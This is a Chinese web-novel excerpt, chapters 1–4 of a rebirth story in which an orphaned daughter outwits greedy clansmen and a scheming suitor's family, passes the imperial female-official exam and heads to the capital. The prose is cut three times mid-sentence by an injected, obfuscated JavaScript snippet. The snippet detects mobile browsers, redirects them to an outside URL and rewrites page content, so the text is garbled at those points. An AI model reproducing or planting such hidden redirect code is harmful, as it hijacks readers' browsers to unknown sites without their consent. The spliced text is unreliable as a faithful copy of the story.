《孤女重生掀翻朝堂》 1. 前狼后虎 大夏国洛南，姜府正堂一片缟素。 姜桓月头戴素白绢花，独自立于人群之外，里面是正在吵嚷的姜家族人。 “振海去了，只留下桓月一个姑娘，家产合该交族中打理，人选由族里商定。” “我家二小子与振海关系最亲近，按族规应该由他来承继。” “振海说过让我家耀小子照顾桓月，还把货船交给他，家业该是我家耀小子的。” 姜桓月耳边争吵越来越烈，这里是父亲灵堂，姜家族人吵得投入，身为亲女的她却无人理会。 说来可笑，姜父头七未过，尸骨未寒，族人就开始瓜分姜父给姜桓月留下的家产。 姜桓月又怎能容许，她凝视着姜父灵位，眉眼深沉，语气冷硬：“够了，这是父亲留给我的家业，无需旁人插手。” 争吵得面红耳赤的众人这才注意到姜桓月。 姜桓月目光清泠，直视众人，仿佛能看穿众人心中所有龌蹉。 众人脸色皆变，眼里闪过慌乱，勉强笑着，干巴巴道：“桓月，这哪能说是插手呢？” “对，我们是帮你！” “我不要。”姜桓月神色依旧冷硬，用三字堵住了众人的嘴。 众人的脸几乎要挂不住，场面有些难看。 三叔母忙上前，拉着姜桓月的手找补，“桓月说什么胡话，三叔母知道你难过，一时没转过弯。二堂哥打小疼你，由他承继你父亲一脉，定好好待你，风风光光把你嫁出去。如今这世道，你一个貌美的姑娘家如何能守住偌大家业。” 三叔母的语气柔得仿佛要滴出水，但姜桓月不为所动，二堂哥是三叔母之子，三叔母看似更温和，可话里仍旧步步紧逼，夺产心思显露无疑。 姜桓月一把甩开三叔母的手，三叔母不恼，语重心长道：“同为女子，叔母懂你，可身为女子惹怒宗族，这一辈子就毁了，便是你父亲在，也要给族里三分颜面。桓月，你好好想想。” 又转身招呼众人先散，“振海才去，给桓月留点时间，总会想通的。”姜桓月一介孤女，日后总归会明白要仰仗宗族的道理，三叔母不怕她不妥协。 姜桓月心中冷笑，对族人嘴脸看得分明。父亲在时，都对她恭恭敬敬，如今父亲不在，便欺她势弱，还以家法威胁。 她清楚，族人现下还有心思伪饰，若她执意不松口，迟早会撕下如今假面。到那时，她才是真的孤立无援。 姜桓月取出香烛，在灵前点燃，白雾袅袅升腾，模糊了她的双眼。 她静静地站着…… 隐约间，身后传来轻缓脚步声。姜桓月转身—— 身后是位样貌慈和的老妇人，她少年时玩伴刘木成之母。刘母常来姜家，仆从皆知姜桓月对刘母言听计从，是以无人拦她。 姜桓月眼中微不可察地起了一丝波澜。 刘母将姜桓月拉至一边，神色悲凄：“月儿你命苦啊，我才知道姜家人不是东西！千万不要被他们骗了，他们都在算计你父亲留下的财产，等拿到家产，就一脚把你踹开，到时候月儿可怎么办呐？”刘母拍着大腿嚎哭，看着格外情真意切。 姜桓月心中却没有任何波动。前世姜桓月就是被刘母这副模样所骗。族人骤然变脸，变着法子哄走她的家产，正是惶恐不安，刘母掏心掏肺的话一出，便把刘母当作救星。 刘母的表演还在继续，“月儿你和成哥自小一同长大，要有什么难事，一定告诉婶子，婶子一定帮你，哪怕是姜家人，婶子也不怕。”刘母信誓旦旦，就差拍着胸口保证。 姜桓月擦擦眼角，暗笑自己不争气，刘母暗示如此粗浅，她当初竟没看出分毫。 刘母却以为说中姜桓月心事，眸中泄出一丝得意，正落入姜桓月眼中，姜桓月不动声色，刘母从怀里掏出封信，封皮上写着月儿亲启，“成哥一直惦着你，又不好过来，托我给你带了信。” 姜桓月一时失神，就是这封信将她彻底推入深渊。 信中刘木成含情脉脉提出娶她，赌咒发誓会帮她守住家产，一面是族中人心莫测，一面是青梅竹马刘木成情深意重，她答应了。 嫁给刘木成后，族人确实拿她无法，没再来纠缠，但刘家亦是虎穴狼窝—— 刘家先哄着她拿银子买房置地，后来小姑子刘沐云偷走她的手稿和父亲遗物，风风光光选上女官做了国公夫人，刘木成科考不中，欲攀附太守小姐，又不舍她家产，最后竟送来穿肠毒药取了她性命。 “月儿？”见姜桓月许久没有反应，刘母直接将信放在她手中。 姜桓月回神，她可不想和刘家扯上关系，如摸到烫手山芋般缩回手，“刘婶子，父亲刚走，叔伯们不至于害我，我实在没有心思想这些，我……我想再缓缓。”说罢，姜桓月扭过头，用素帕遮住脸眼底冷意，肩膀耸动。 “月儿别羞，我一定疼你……”刘母举着信的手忽地顿住，这才反应过来姜桓月这是……拒绝了她！刘母眼中惊诧完全藏不住，她压根没想过会被拒绝，连信物都带了，只要姜桓月收下，婚事就是板上钉钉了。 刘母急了，嘴唇开合，欲再说什么，可姜桓月捂住脸，一副伤怀模样，根本不听。 门外仆从注意到这边动静，频频回头，刘母只得咬牙一步三回头地离开。 经过时，仆从目光格外刺眼。 仆从们悄悄议论：“奇怪，以往刘婶子都是欢欢喜喜的来去，今日出来倒拉长了脸。” “定是这老货爱摆谱，姑娘看不惯了” 刘母忍着不忿匆匆离去，暗道等姜桓月嫁到刘家，一定把这些刁奴都打发了。 刘母一走，姜桓月放下素帕，神色未见轻松。她清楚，刘母只是暂时罢手，刘家对姜桓月的心思一日不绝，就一定还会再纠缠。 前有族人虎视眈眈，后有刘家心怀叵测，姜桓月摸着颈上温润的玉佩，眼中锋芒更盛，她绝不会再走上前世的老路。 “去请三叔母。” 堂中一个小丫鬟欢天喜地去了。三叔母听闻，以为姜桓月想通，赶来时面上每根褶皱都堆满了笑，笃定道，“月儿这是想通了？三叔母知道月儿素来是个聪明孩子。” 姜桓月不答，肃着脸。 三叔母逐渐发现不对，试探：“月儿？” “三叔母好算计！”姜桓月剐了三叔母两眼，劈头盖脸就是一通质问，“父亲尸骨未寒，你们敢占了他留下的家产？扪心自问，我父亲这么些年可有半分对不起你？他还在看着，你们就如此欺我，不怕亏心？” 姜桓月的目光触到门边，讥讽之意更浓：“还有这个小丫鬟，我受用不起，三叔母带走吧！” 三叔母被问得措手不及，面上青白交加，手中丝帕被拧成麻花，恼恨渐生，暗骂姜桓月简直是个蛮丫头，若日后落到她手上，定要好好磋磨。 可此时姜桓月又不能得罪，只得努力挤出个恳切的笑，软声道：“月儿，是谁在你耳边嚼舌根了？” 又把姿态放得更低，“三叔母是想帮你，你父亲留下这么大家业，需要人帮忙打理，咱们自家人有什么信不过。遇事咱们商量着来，若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569457|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你不愿，还能强迫你不成？至于这个小丫鬟，月儿不喜欢，叔母就先带走。” “别装了，刘——”姜桓月激愤未改，话冲口而出，察觉到不对又止住。 三叔母眼神闪烁，继续柔声安抚姜桓月，直到姜桓月面色和缓方离去。 出来后三叔母冷下脸，询问丫鬟，“刚才谁见了姑娘？” “刘……刘家婶子来过。” 三叔母眼中转过狠厉：“刘家人竟敢来挑拨我姜家事。” 近旁偷偷跟着的满夏看着眼里，转头把三叔母情态一五一十告诉房中姜桓月，“小姐……” 三叔母上勾了！姜桓月微微勾唇，静待事情发酵。 刘母自姜府回家，越想越觉姜桓月态度有异，询问刘木成，“最近桓月可有什么不对？” “没，我们好着，桓月刚给我求了福牌。放心，我早晚把桓月娶进刘家。”此前正是姜桓月与刘木成情最浓时，刘木成没有察觉异样。 “盯紧些，你别忘了，你妹妹打小为你筹谋，现在连嫁妆都没凑齐。” 刘母没找到缘由，只当姜桓月突遭变故，性情有改，预备下次再找机会。 可待刘母再寻姜桓月，竟一连几次皆被拦下，连面都没见着。刘母受了闷气，在家中大骂刘木成不中用：“连个女娃娃都哄不住，白读了一肚子书！” 直到门外递来张条子，刘母打开一看，怒火更盛，“原来是姜三多管闲事！” 气急之下，刘母冲进姜家，堵在祠堂门口对三叔母破口大骂：“你这老妇心思不纯，不许人见桓月，莫不是见她是孤女，妄图害她好霸占家产？我们乡里长辈都在，你休想胡来！” 三叔母隐秘心思被戳破，当即还口：“你刘婆子是什么好东西，不就是打量着让桓月嫁到你家，好吞了她家产？我如何能让桓月见你？” 刘母哪里肯认，与三叔母在祠堂门口大打出手。 姜桓月偷偷爬上院墙看热闹，狗咬狗的好戏绝对不能错过。三叔母和刘母两人的算计在大庭广众之下点破，日后她该清静多了。 为看得真切，姜桓月索性坐在墙上。 嚯！刘母是个阴损的，专挑三叔母的衣服下死命掐，不过三叔母也不差，专对着刘母的头发使劲薅。 姜桓月看得兴起，摇晃双脚，顺手折下一根树枝在手中盘玩，视线正好和转头的三叔母对上。 三叔母发现姜桓月，惊愕得连躲闪都忘了，狠吃了刘母个大嘴巴。 姜桓月冲三叔母微微一笑，三叔母看着浑然无知、仍将姜桓月家产视作囊中之物的众人，再看看笑意盈盈的姜桓月，目光逐渐染上恐惧——这一切都是姜桓月的算计！ 正欲开口叫破，又见姜桓月将手指放在唇边，做出噤声手势，三叔母仿佛见了魔鬼，忙闭紧双唇，一个踉跄跌坐在地，不敢动作。 对面刘母毫无察觉，趁势冲上来…… “住手——”一道威严的声音喝止住刘母。 是姜二叔来了。姜桓月叹气，二叔一向会和稀泥，好戏看不成了。她在虚空中指三叔母脖颈，划了一下。 见三叔母眼神愈发惊恐，她不由心生快意，这才轻巧地爬下院墙。 不出所料，二叔先数落三叔母关心则乱，又数落刘母火气太重，各打大五十大板，外边很快安静。 姜桓月哼着小调儿回房，刘母和三叔母丢了大人，她好似饮了蜜水一半舒畅。 “传令下去，今日院里通通有赏！” 众人热闹谢赏间，二叔推门而入。 2. 破除算计 二叔眼圈微红，温声道，“桓月这几日可还好？” 姜桓月点头，二叔放下揣着的两包素点心、一对素钗，叮嘱，“桓月多注意身子，兄长走了，二叔替他照顾你。”二叔微微弯起的双眼和父亲很相似，心底浮起几丝暖意。 二叔又道：“月儿不必管旁人说什么，你与木成青梅竹马，刘家也知根知底，你要嫁，二叔绝不阻拦。” 二叔是……在为刘家说话？ 姜桓月敏锐的神经刹时蹦紧，沉浸在温情中的大脑被泼了一瓢冷水。 二叔不由分说断定姜桓月会嫁进刘家。 若姜桓月不知刘家算计，定以为二叔是好心。二叔经营族务多年，不可能看不穿刘家算计。 莫非，二叔与刘家之间…… 望着二叔的熟悉又陌生的脸，姜桓月恍然，难怪，嫁进刘家后，再没有族人找上她。 这是一条连环计，族人软硬兼施逼迫是第一重，刘家趁机求娶是第二重。三叔母子息繁盛，打着过继堂哥给父亲的主意，而二叔独子年幼，占不到便宜，就与刘家一拍即合。 原来，这，才是全部的真相。 二叔在姜桓月心中一直是老好人，灵堂里争吵的那些族人里也没有他，没想到竟然藏得如此之深。 寒意从心底顺着脊柱蔓延到姜桓月的全身，双手酸软，原来所有人都如蚂蝗般趴在她和父亲身上吮吸他们的血肉。 姜桓月凄然：“二叔，我要陪父亲，我不嫁人。我累了，二叔让我歇歇吧。” 逐客令一出，二叔眉头未皱分毫，神色依然和煦，不忘安慰姜桓月几句才离开。 望着二叔远去的背景，姜桓月揣测，想必片刻后，二叔就会出现在刘家吧。 她眼底似有火焰在燃烧。 姜父头七将至，族中人皆盯着姜桓月。 “姑娘家守不住，还不如分润族里，我要的不多，只要坊市里的三间布行” “兄长好眼光，那布行可是日进斗金，我没有兄长的气魄，只要东山的百亩良田。” “那三艘货船归我。” 族人三三两两凑成一团，盘算各自份额，势必要在姜桓月的家产上咬下一口，无人认为姜桓月敢违抗族老。 姜父头七之日，众人齐聚，姜桓月许久未至。 远处小树林中有个身影若隐若现，看着是男子身形。 “姜桓月莫不是连父亲都不顾了。”一人讥讽。 “此等不孝之人，族老必须严惩。”其余人亦是应和，开始计算应该给姜桓月按上什么样的罪名，顺势再挖出更多家产。姜父为人精明，定然还私下给姜桓月留了东西。 唯有三叔母格外沉默。 “诸位久候。”姜桓月听够了，身着孝裙，梳着高高的孝髻，自内室而出，步履端庄，仆从分列两侧。 旁边一人道：“姜桓月你好大胆子，竟敢让族老等你。”又看向上首的族老们，“族老，姜桓月如此不敬宗族，当请家法。” 一族老沉声道，“姜桓月，跪下！”两个膀大腰圆的青壮挽袖，朝姜桓月走来。 即将靠近姜桓月时，却被姜桓月身后的仆从抵住，二人动弹不得。 姜桓月轻笑：“我有何罪？罪在没有把家产乖乖给诸位奉上？” 族老挥手让更多人上前：“姜桓月，别忘了，你父亲还没下葬。”话里已带上了威胁之意。 一股悲愤直冲姜桓月肺腑，这就是父亲生前心心念念的族人？ 本朝习俗，若不葬进族地，必当沦为孤魂野鬼，永世不入轮回。族老是料定了她不会让父亲不得安宁。 族老半阖眼皮，高高在上。 姜桓月按住心神，步履不乱，越过众人，行至姜父灵前，双手持香点燃，高举至眉心。 通身迸发出的威势竟令众人一时不敢动作。 姜桓月高声祝祷，于姜父灵前起誓：“我姜桓月甚念亡父恩德，愿自此清修三年以守父孝，一应事务皆循旧习，不改父道，如违此誓，姜家全族尽灭。” 言毕，行三拜九叩大礼。 直至姜桓月起身，堂中仍一遍遍回荡着“全族尽灭”四字，无人敢言。 本朝极重孝道，姜桓月此誓以父孝为名，还赌上姜家全族，无任何反悔余地。 族老们面色铁青，无人想到姜桓月会如此狠辣果决，宁肯吃清修三年的苦，也不愿与族中妥协。满腔算计落空，可族老又忌惮誓言，不好朝姜桓月发作，只能憋下，一时哑言。 “桓月丫头，你……你……”二叔骤然出声，手指姜桓月，拂袖而去，而灵堂外那个若隐若现的男子身影亦随之消失。 视线回到灵堂，姜桓月迎着众人的目光洗礼，眼里没有躲闪，尽是破釜沉舟的坦然。 三叔母避开姜桓月的目光，摸着袖中的一块金条，结结巴巴说道，“桓月有如此……孝心……是好事，我们也不好拦着。” 族老们为了脸面，强忍怒火跟着夸赞：“桓月果然是个孝顺姑娘！” 姜桓月听得舒爽，不忘与族老们道谢，虽然族老的声音里透着咬牙切齿的滋味。时辰已到，她施施然迈出了灵堂，不像蝴蝶，像一只挣脱笼牢的鹰。 族人气急败坏又无计可施，眼睁睁看着姜桓月逆着光走了出去，就仿佛看着到手的财货飞走，开始互相指责： “我就说这丫头性子烈，不能逼，现在好了什么没拿到。” “明明是你，第一个出手，还有脸来怪我。” 正在吵嚷，其中一人眼珠一转儿：“诸位别急，孝期是三年，姜桓月的誓言只能保三年。三年之后，我们各凭本事！到时候，就再没有什么能救她了。” 众人了悟，自此只待姜桓月出孝。 …… 一晃三年过去，姜桓月孝期已满，誓言到期。族中与刘家再度蠢蠢欲动，族老们眼里的威胁越来越重，甚至隐隐带上了煞意，刘木成的信亦日日不停，里面是各种山盟海誓，最能迷惑情窦初开的姑娘。 姜桓月没有理会，闹着要亲去府城请大师为父亲做道场。 “吾父进士出身，素有文名，一生诲人无数，乐善好施，享誉乡里，为何请不得大师？我为人女，又为何不能尽善尽美？” 姜桓月的话掷地有声，于情于理不该阻止。曾出言那人想起那句“再没有什么孝道可以救她”，默默低头，只得再度眼睁睁看着姜桓月捧着乌木匣，带着丫鬟和几个老仆去往府城。 族中隐忍不发，姜桓月终会回来，家业根基在乡里，不可能扔下不管，若不回，正好便宜族中。 刘母气歪了嘴，一等就是三年，好不容易出孝，又让姜桓月跑了，恨恨道：“小妮子，迟早有你扛不住的那天，等进了我家门，看我怎么收拾你。” 所有人都以为，去府城是姜桓月走投无路下的拖延之术。 马车行至府城，姜桓月没有寻访大师，而是朝府衙行去。 府衙外，显眼张贴着女皇诏令，广征天下有能女子，着各府考选送入京城为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569458|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官。 当今是本朝唯一的女皇，在先帝朝赢过所有兄弟上位，登基后有意引女子入朝。诏令已下半月有余，再有三日就是考选之期。 这是姜桓月曾因嫁人错过的机会。 进入府衙，姜桓月取出名帖交给吏目。来府城前，她通过乡里教谕报了名，教谕佩服姜父，痛快帮忙，感慨：“我还以为姜兄走后，贤侄女会失了心性，不想有如此志向。以贤侄女才姿，乡里无人能及，便是到府城定也能压倒众人。”又答应姜桓月绝不告诉旁人，故而乡里无人知晓。 自小姜桓月得父亲教导熟读经史，通晓政论，父亲曾遗憾：桓月天资不输男儿，若为男子，合该出相入将。 既然如此，她何不入朝为自己博一番天地。 区区考选，姜桓月势在必得！ 姜桓月亲眼看着吏目在名册上勾下名字，盖上小印，眸子越来越亮，连日不安的心踏实落下。 一切都已不一样了。 出了府衙，马车一转驶向府城贡院。姜桓月挑起车帘，一直匆匆赶路，她还没来得及欣赏府城风光。 只见府城街市繁华，行人容色红润，路人的闲谈传入马车。 “陛下最宠的五皇子在咱们洛南，我亲眼所见，啧啧，排场可气派。” “听说，五皇子嫌弃宫中海货不新鲜，特地来的洛南！” “五皇子不喜驿馆缎被，全换了宫中雪缎。” 这位“五皇子”出现在百姓口中的频率格外高，姜桓月饶有兴致地听着五皇子的事迹，直到马车晃晃悠悠地停在贡院近街的一处宅子。 三日后，贡院开考，共三场，分为经义、时务、史论，可加试算学。 姜桓月成竹在胸，从容迈入贡院，却看到了个令她刻骨铭心的侧脸…… 那是刘木成的妹妹刘沐云。 姜桓月垂下嘴角，恨意在心头疯长。这些日子她险些忘了刘家。 前世刘沐云选得女官，姜桓月曾去质问。 刘沐云高高在上，漫不经心端详着涂了鲜红蔻丹的指甲，“嫂嫂昏头了，什么手稿，什么遗物，我怎么听不懂呢？污蔑朝廷命官是要下狱的。再告诉嫂嫂个好消息，下月我要与鳄国公大婚，污蔑国公夫人更是重罪。” 又抬起眼皮，斜睨姜桓月，“我刘家可要不起这样的长嫂，要说还是广南太守的二小姐更合我心意。” 在刘沐云大婚后不久，姜桓月被国公府的婆子压着灌下了毒酒。 那酒实在太疼！ 姜桓月至今无法忘却毒酒穿透肺腑后，持续半个时辰的剧痛折磨。 她闭上双眼，来前教谕曾交代，此次乃第一回选女官，名额极为有限，洛南只有三人。 姜桓月倒要看看——没了她手稿，刘沐云还能不能走上青云路？ 她深吸一口气，寻到号房。只听得一声锣响，考选开始。一连三场，姜桓月洋洋洒洒，挥笔而就，提前交卷，还引起了主考注意。 放榜那日，姜桓月站在贡院前只一扫，姜桓月三字高居榜首，至于刘沐云，排在第三，不过是倒数，正着数是第二百八十六位。 姜桓月笑了，那一瞬间好似冰山消融，重生归来后凝着冷硬之意终于化开。 想着姜家和刘家得知消息的情态，姜桓月更生快意。 她从未打算困在乡里与他们争斗一生。你一拳，我一掌后宅争斗的有什么意思，她要的，是世间无人敢欺！ 日光下，姜桓月胸前玉佩愈发润泽。 3. 中选进京 京中客栈，刘沐云面目狰狞，将桌上杯盘推翻在地。 “都怪兄长不中用，连姜桓月都哄不住！” 刘沐云对姜桓月的本事再清楚不过，几番告诫兄长刘木成定要拿下姜桓月，居然还让姜桓月跑了，不仅参选女官，还拿下头名。 不过，若拿到姜桓月手稿，她定能…… 刘沐云神情变幻，眼底藏着浓重阴霾。 消息从府城传回乡里。 族老初闻茫然，回过味后，震怒：“好个贼妮子！竟拿话糊弄我？” 可当着报喜人，族老还是艰难地维持着扭曲的笑意，给人塞了一个红封，报喜人神色略有不满，族老忙又加了个银锭。 “姜女官的族人果然晓事。” 族老边赔笑，边哀怮着失去的银子。 前来道贺的乡人不绝，俱是羡滟：“姜家家学渊源，您老有福了。” 族老违心附和，还得向夸赞姜桓月乡人道谢，每说一句话，都心如刀绞，还不能流露分毫。 一天下来，族老脸都僵了，人后低声咒骂：“忘本的贼妮子心眼恁多，偷摸去选女官，竟半点风声都没透！” 三叔母踌躇：“桓月选了女官，那这家产……” 族老冷笑：“她还想不认宗族不成？先缓缓，现在不过考选，若她真有能耐，做了高官大员回来也得老老实实。” 三叔母壮着胆子，压低声音道：“我娘家侄儿生得俊俏，人也懂事，不如……” “也好，我给姜桓月去信，她父母俱亡，亲事该由族中做主。结两姓之好是喜事，她不敢不应。”族老面上笃定，话却软了，似隐隐察觉姜桓月已脱离他们控制。 与此同时刘家这边，刘母试图联系姜二叔，姜二叔再无回应。刘母淬了一口，“见风使舵的玩意！”又伸手狠戳刘木成脑门，留下斑斑点点的红印，“你怎么笼络姜桓月的，连这等大事都不告诉你？” 刘木成讷讷，刘母面色阴沉，语气狠戾：“不过一个微末女官，能成什么大气候。等姜桓月灰溜溜回来，若不三跪九叩，绝不许进我刘家半步！” 又瞪一眼刘木成，“还不去给姜桓月写信，再问问你妹妹有什么主意。” …… 府城外，姜桓月在长亭招手送别老仆，“王伯，回去为我守住好家业，等我好消息。” 姜桓月知道，中选的消息会稳住族人和刘家，只要姜桓月日后在朝堂站稳脚跟，绝不会再有人觊觎姜桓月家产。 送走老仆后，姜桓月赶往京城。一月后的殿擢，女皇会为中选女子授官，而自洛南往京城乘车要二十日，姜桓月一行容不得半分耽搁。 才出府城不远，马车骤然停下。 “姑娘，前边儿路封了。” 姜桓月下了马车，前方路口被军士牢牢把住，手执利刃，通身泛着血气。 这条路是通往京城的要道，若绕开，必会误了殿擢。 姜桓月向一旁大娘打探。 “姑娘，是五皇子要打这回京，封了道，少说也要等个三五日。” “不能通融吗？” “难啊！五皇子不是个好说话的。方才泸国将军妻弟想过去，领着人闹，被打得鼻青脸肿不说，人还被五皇子扣下，说是让泸国将军拿万两黄金来赎。” 早知五皇子受宠且骄纵，是有名的“天魔星”，不想竟在这遇见，四下停着的马车不少，想必是忌惮五皇子“威名”。 但姜桓月还是想会会五皇子，她挺身朝军士走去。 大娘忙拦住她，不住摇头：“姑娘，别过去！那刀剑可不长眼！” “我不怕，那五皇子无缘无故还能砍了我不成？” 大娘带着惧意环顾四下，连连摆手：“姑娘这话可说不得！” “大娘放心，我不会有事的！”姜桓月越过大娘，在大娘忧心的目光中，大踏步向前。 “姑娘止步！”寒光一闪，军士亮出刀刃。 “我是中选进京的女官，殿擢之期不容耽误，还望五皇子通融。”姜桓月不慌不忙，递上文书。 军士略有迟疑：“稍待，我去禀告五皇子。” 片刻，军士告诉姜桓月，五皇子要见她。 姜桓月被带到通身耀金的马车前。 “上来。”厚重帷幔里传出低沉的声音。 姜桓月上车，里面铺着波斯长绒地毯，行走无声，五皇子赵玚懒洋洋地托腮斜躺，手中把玩着只玛瑙狻猊。 她深深行礼，“我是新选女官姜桓月，亟待上京参加殿擢，望五殿下准我一同进京。” 上方传来金玉相击之声，“洛南到京城路远，姜女官确实不能耽搁。”五皇子很是通情达理，姜桓月顿觉传言不可尽信，五皇子能得帝王宠爱必不是蠢人。 “只是——”五皇子轻笑一声，手指虚虚地摊开，语气骤变，“这和我有什么关系呢？” “确实没有。” 五皇子把玩狻猊手顿了顿，笑容更大，“哦——你倒是有点意思。” “我是洛南人，熟知洛南风物，读过许多志怪传说，上京路远，可为五殿下解闷。” 姜桓月微微俯身，颈上玉佩顺势垂落，五皇子眼神微凝，转而再度笑开，“果然没看错姜女官，我同意了。” 这一刹好似清风朗月入怀，姜桓月深感五皇子古道热肠、急公好义，不由放松双颊，露出笑意：“五殿下慷慨热忱，臣不胜感激！” 五皇子乐不可支，这话若是让那些朝臣听见估计会眼前一黑，愈发觉得此番回京定然不会无趣。 厚重帷幔之外，军士啧啧称奇，姜女官有本事，竟能让五皇子这个魔星开怀。 姜桓月出来，察觉众人眼神有异，仔细一看，带着敬意，委实摸不着头脑。 得了五皇子许可，姜桓月的马车便跟在五皇子车后。 进京一路，五皇子不时请姜桓月过去，听她随意说乡里趣事。 五皇子是个很好的听众，从不挑剔，听至入神处，总是托腮凝神，纤细长睫如蝶翼轻振，眼底满是认真。 若姜桓月有弟弟，或许就是这样。 车马行至驿站时，姜桓月方见识到传言中的五皇子。 不待五皇子下车，侍从们已熟练将驿站的被褥床帐、一应摆件换过。 车幔掀起，五皇子洁净的靴底接触地面，一路行至屋内。 “门口的树换成桃树。” “圈椅太硬，换了。” “窗纱换霜影纱。” “花瓶不要。” …… 五皇子话音刚落，身后就有侍从冲出依言照办，像是做惯了这样差事。 姜桓月瞪圆双眼。 “姜女官怎么了？”前面的五皇子停下，语气浅淡，唇角平直，莫名带着几丝危险。 “布置屋舍虽是小事，但临时变动快而不乱，足见五殿下雷厉风行，御下极有章法！”姜桓月难掩激动，只是不知为何后背泛起凉意。 五皇子沉沉地看着姜桓月，姜桓月眼中一片澄澈。 装得还挺像样，五皇子冷哼一声，走了。 姜桓月摸不着头脑，五皇子这是……生气了？ 在众人愈发敬佩的目光中，姜桓月回到住处。行至拐角，忽听到动静，姜桓月放轻脚步—— “那个跟着五皇子的姜女官是什么来头？” “能有什么来头？不过是陛下心血来潮挑来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569459|187034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解闷的女娃娃。” “那模样，若站到朝堂上，怕是像株移错地方的野蒿子。” “话不能这么说，陛下的几位皇子还没婚配，万一日后成了贵人呢。” 听着两小吏的私语，姜桓月郁气填胸，这些日子跟着五皇子，未曾接触外人，现在看来，连驿馆小吏都对女官如此轻视，朝臣岂不是更瞧不起女官。 此番进京，姜桓月顿觉风雨欲来，然斗志更浓。 轻咳一声，她加重脚步走过拐角，独留下两小吏面上又红又白。 - 京城城门，姜桓月奉上个匣子，拜别五皇子。 五皇子挑眉，笑得姜桓月心底发毛，“这是姜女官的赔礼还是谢礼？”说罢，不待姜桓月回答，放下帷幔，扬长而去。 姜桓月手捧另一个名为“谢礼”的匣子，愣在原地。 五皇子还没收给谢礼呢！ 摸不清五皇子心思，姜桓月只得压下思绪，收好匣子，往吏部行去。 本朝参加殿擢的女官要先往吏部递帖，因女皇体恤女官京中居住不易，吏部还会分下住处。 吏部门前，人来人往，门子收了姜桓月名帖，颇有些不情不愿，“等着吧！”又嘟囔，“又是女官，没得扰人清静。 姜桓月站了好一会儿，才有个书令使出来，面色亦是不善：“吏部都是朝廷大事，姜女官心怀天下，应该不介怀多候的时辰吧？” 说罢，书令使自顾自翻出名册，找起姜桓月名姓，“姜女官来得晚，只能住城南驿馆。”书令使边说，边在册上勾画。 “介怀！”姜桓月的怒气早压不住，出来乍到，她不想多生事端，但还是不想忍气。 书令使抬头，姜桓月又道：“为什么何不是城东？那边还有空房。”姜桓月打听过，城南驿馆上次翻新还是在先帝朝，早已破败，轻易不会分人去住。 “那些都有用。”书令使手上不停，继续哗啦哗啦地翻着名册。 “敢问是哪位上官要用？” 书令使愈发不耐烦，甩开名册：“一个新选女官还敢挑剔，不住就自己找客栈。” “一个书令使竟然贪污结党，做这些见不得光的勾当，如何对得起吏部两袖清风的诸位上官！” 姜桓月丝毫不让，放大声量，动静莫说吏部，便是隔壁户部都清晰可闻。 书令使脸色大变，姜桓月微微一笑，淡然坐下，倒了盏茶水，自顾自地喝着。 吏部诸官听到动静赶来，王尚书扫一眼姜桓月，问书令使，“怎么了？” “王尚书，我此前从未见这位姜女官，姜女官性急，觉得分到的住处不好，误会了。”书令使这会儿浑然一副冤屈模样。 王尚书面色稍和缓，“既如此还是以和为贵，姜女官有所不知，我吏部——” “王尚书还没问书令使，分我的住处在哪？”姜桓月打断了似要敷衍的王尚书。 书令使垂头不语，姜桓月嘲讽地看了一眼：“书令使不敢说，那我来说，是在城南。” 王尚书欲再开口，姜桓月似笑非笑，尚书是不是想说城东住满了，先不论城南是什么地方，我亲眼见城东有空房，现在就可去核验，若说那是给哪位上官留的，只要说出名姓，我亦绝不纠缠，可若说不出，王尚书可敢彻查？” “尚书，我冤枉啊！”书令史忽然叫喊起来，“这明明是……” “住口！” 王尚书的脸色越来越难看。他本想大事化小，小事化无，吏部的纰漏就改关起门收拾，不必在外人面前丢脸。 可姜桓月堵住了所有话头，书令史的心神俱乱的模样更证明事有猫腻，看热闹的同僚越聚越多，王尚书被架在了火上。 4. 殿擢授官 王尚书只得当众许诺：“此事是吏部出了岔子，我一定给姜女官个交代。” 姜桓月不置可否，日后她与这些朝臣交手的日子还多着。 “那我住？” “当然是城东，我派人送姜女官去。”王尚书当即叫人，最后的话更是意味深长，“姜女官初入官场，何必锋芒太盛，女子当贞静柔顺为要，否则日后行事可不便宜。” 姜桓月冷笑，这是在警告她。 经此一事，姜桓月越发体会到女官在朝堂的艰难。殿擢未过，众人就已经不将她们放在眼中了。 吏部的热闹很快传遍六部，朝臣皆知道了有位不好惹的姜女官，好事同僚特意询问王尚书，王尚书摸着胡子摇头晃脑，“唯女子与小人难养也！我不与她计较。” 众人哄笑。 - 五月廿二，皇极宫殿擢。 寅时，姜桓月候在宫门外。巍峨宫墙后是一片迷蒙，重重殿宇皆隐在白雾深处。 身后传来低声交谈， 